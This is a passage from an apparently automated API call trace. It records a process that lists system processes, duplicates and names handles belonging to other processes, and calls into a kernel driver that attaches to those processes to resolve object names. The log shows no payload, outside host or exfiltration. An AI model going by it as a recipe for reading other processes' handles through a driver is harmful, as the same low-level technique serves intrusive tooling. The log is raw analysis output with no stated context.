out: hHeap=0x210000) returned 1 [0088.583] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x10000) returned 0x238b10 [0088.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x238b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x13f00) returned 0xc0000004 [0088.583] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.583] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x14000) returned 0x238b10 [0088.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x238b10, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x13f00) returned 0x0 [0088.584] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd40) returned 0xc0 [0088.584] GetCurrentProcess () returned 0xffffffffffffffff [0088.584] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x28, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.584] CloseHandle (hObject=0xc0) returned 1 [0088.584] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.584] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x80) returned 0x234c50 [0088.584] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.584] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.584] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.584] PsLookupProcessByProcessId (in: ProcessId=0xd40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.584] PsAcquireProcessExitSynchronization () returned 0x0 [0088.584] KeStackAttachProcess (in: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0) [0088.584] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800358c070, HandleInformation=0x0) returned 0x0 [0088.584] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.584] PsReleaseProcessExitSynchronization () returned 0x2 [0088.584] ObfDereferenceObject (Object=0xfffffa80020ccb30) returned 0xf [0088.584] ObQueryNameString (in: Object=0xfffffa800358c070, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0088.585] ObfDereferenceObject (Object=0xfffffa800358c070) returned 0x4 [0088.585] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.585] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.585] CloseHandle (hObject=0xc4) returned 1 [0088.585] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd40) returned 0xc4 [0088.585] GetCurrentProcess () returned 0xffffffffffffffff [0088.585] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.585] CloseHandle (hObject=0xc4) returned 1 [0088.585] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.585] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.585] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.585] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.585] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.585] PsLookupProcessByProcessId (in: ProcessId=0xd40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.585] PsAcquireProcessExitSynchronization () returned 0x0 [0088.585] KeStackAttachProcess (in: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0) [0088.585] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800396c8e0, HandleInformation=0x0) returned 0x0 [0088.585] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.585] PsReleaseProcessExitSynchronization () returned 0x2 [0088.585] ObfDereferenceObject (Object=0xfffffa80020ccb30) returned 0xf [0088.585] ObQueryNameString (in: Object=0xfffffa800396c8e0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.585] ObfDereferenceObject (Object=0xfffffa800396c8e0) returned 0x4 [0088.585] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.585] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.586] CloseHandle (hObject=0xc0) returned 1 [0088.586] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd40) returned 0xc0 [0088.586] GetCurrentProcess () returned 0xffffffffffffffff [0088.586] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.586] CloseHandle (hObject=0xc0) returned 1 [0088.586] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.586] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.586] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.586] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.586] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0088.586] PsLookupProcessByProcessId (in: ProcessId=0xd40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.586] PsAcquireProcessExitSynchronization () returned 0x0 [0088.586] KeStackAttachProcess (in: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0) [0088.586] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800357eae0, HandleInformation=0x0) returned 0x0 [0088.586] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.586] PsReleaseProcessExitSynchronization () returned 0x2 [0088.586] ObfDereferenceObject (Object=0xfffffa80020ccb30) returned 0xf [0088.586] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0088.586] ObfDereferenceObject (Object=0xfffffa800357eae0) returned 0x2 [0088.586] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.586] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.586] CloseHandle (hObject=0xc4) returned 1 [0088.586] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd40) returned 0xc4 [0088.586] GetCurrentProcess () returned 0xffffffffffffffff [0088.586] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.586] CloseHandle (hObject=0xc4) returned 1 [0088.586] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.586] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x80) returned 0x234c50 [0088.586] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.586] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.587] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0088.587] PsLookupProcessByProcessId (in: ProcessId=0xd40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.587] PsAcquireProcessExitSynchronization () returned 0x0 [0088.587] KeStackAttachProcess (in: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0) [0088.587] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0001c97c0, HandleInformation=0x0) returned 0x0 [0088.587] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.587] PsReleaseProcessExitSynchronization () returned 0x2 [0088.587] ObfDereferenceObject (Object=0xfffffa80020ccb30) returned 0xf [0088.587] ObQueryNameString (in: Object=0xfffff8a0001c97c0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.587] ObfDereferenceObject (Object=0xfffff8a0001c97c0) returned 0xc5 [0088.587] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.587] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.587] CloseHandle (hObject=0xc0) returned 1 [0088.587] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd40) returned 0xc0 [0088.587] GetCurrentProcess () returned 0xffffffffffffffff [0088.587] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x14, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.587] CloseHandle (hObject=0xc0) returned 1 [0088.587] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.587] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x70) returned 0x234c50 [0088.587] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.587] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.587] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0xc0, lpOverlapped=0x0) returned 1 [0088.587] PsLookupProcessByProcessId (in: ProcessId=0xd40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.587] PsAcquireProcessExitSynchronization () returned 0x0 [0088.587] KeStackAttachProcess (in: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020ccb30, ApcState=0xfffff880052335d0) [0088.587] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004512190, HandleInformation=0x0) returned 0x0 [0088.587] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.587] PsReleaseProcessExitSynchronization () returned 0x2 [0088.587] ObfDereferenceObject (Object=0xfffffa80020ccb30) returned 0xf [0088.587] ObQueryNameString (in: Object=0xfffff8a004512190, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.588] ObfDereferenceObject (Object=0xfffff8a004512190) returned 0x2 [0088.588] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.588] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.588] CloseHandle (hObject=0xc4) returned 1 [0088.588] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd24) returned 0xc4 [0088.588] GetCurrentProcess () returned 0xffffffffffffffff [0088.588] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.588] CloseHandle (hObject=0xc4) returned 1 [0088.588] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.588] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.588] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.588] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.588] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.588] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.588] PsAcquireProcessExitSynchronization () returned 0x0 [0088.588] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0088.588] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002af7ad0, HandleInformation=0x0) returned 0x0 [0088.588] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.588] PsReleaseProcessExitSynchronization () returned 0x2 [0088.588] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x21 [0088.588] ObQueryNameString (in: Object=0xfffff8a002af7ad0, ObjectNameInfo=0xfffffa8003a20044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a20044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.588] ObfDereferenceObject (Object=0xfffff8a002af7ad0) returned 0x2 [0088.588] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.588] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.588] CloseHandle (hObject=0xc0) returned 1 [0088.588] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd24) returned 0xc0 [0088.588] GetCurrentProcess () returned 0xffffffffffffffff [0088.588] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0088.588] CloseHandle (hObject=0xc0) returned 1 [0088.588] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x234c50 [0088.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x234c50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x234c50*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0088.589] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff880052335a8 | out: Process=0xfffff880052335a8) returned 0x0 [0088.589] PsAcquireProcessExitSynchronization () returned 0x0 [0088.589] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335c8 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335c8) [0088.589] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff880052335b0, HandleInformation=0x0 | out: Object=0xfffff880052335b0*=0xfffffa8001f45a30, HandleInformation=0x0) returned 0x0 [0088.589] PsReleaseProcessExitSynchronization () returned 0x2 [0088.589] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x21 [0088.589] ZwQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880052335a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880052335a4) returned 0xc0000004 [0088.589] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a002b046e0 [0088.589] ZwQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002b046e0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002b046e0, ReturnLength=0x0) returned 0x0 [0088.589] ExFreePoolWithTag (P=0xfffff8a002b046e0, Tag=0x0) [0088.589] ObfDereferenceObject (Object=0xfffffa8001f45a30) returned 0x1 [0088.589] KeUnstackDetachProcess (ApcState=0xfffff880052335c8) [0088.589] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.589] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.589] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.589] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.589] PsAcquireProcessExitSynchronization () returned 0x0 [0088.589] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0088.589] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f45a30, HandleInformation=0x0) returned 0x0 [0088.589] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.589] PsReleaseProcessExitSynchronization () returned 0x2 [0088.589] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x21 [0088.589] ObQueryNameString (in: Object=0xfffffa8001f45a30, ObjectNameInfo=0xfffffa8003a21044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a21044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.589] ObfDereferenceObject (Object=0xfffffa8001f45a30) returned 0x1 [0088.589] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.589] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.589] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd24) returned 0xc0 [0088.589] GetCurrentProcess () returned 0xffffffffffffffff [0088.589] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x9c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.589] CloseHandle (hObject=0xc0) returned 1 [0088.589] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.589] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.589] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.590] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.590] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.590] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.590] PsAcquireProcessExitSynchronization () returned 0x0 [0088.590] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0088.590] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028bd120, HandleInformation=0x0) returned 0x0 [0088.590] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.590] PsReleaseProcessExitSynchronization () returned 0x2 [0088.590] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x21 [0088.590] ObQueryNameString (in: Object=0xfffffa80028bd120, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.590] ObfDereferenceObject (Object=0xfffffa80028bd120) returned 0x2 [0088.590] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.590] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.590] CloseHandle (hObject=0xc4) returned 1 [0088.590] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd24) returned 0xc4 [0088.590] GetCurrentProcess () returned 0xffffffffffffffff [0088.590] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.590] CloseHandle (hObject=0xc4) returned 1 [0088.590] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.590] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.590] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.590] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.590] NtQueryInformationThread (in: ThreadHandle=0xc0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0088.590] CloseHandle (hObject=0xc0) returned 1 [0088.590] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd24) returned 0xc0 [0088.590] GetCurrentProcess () returned 0xffffffffffffffff [0088.590] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x60, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: 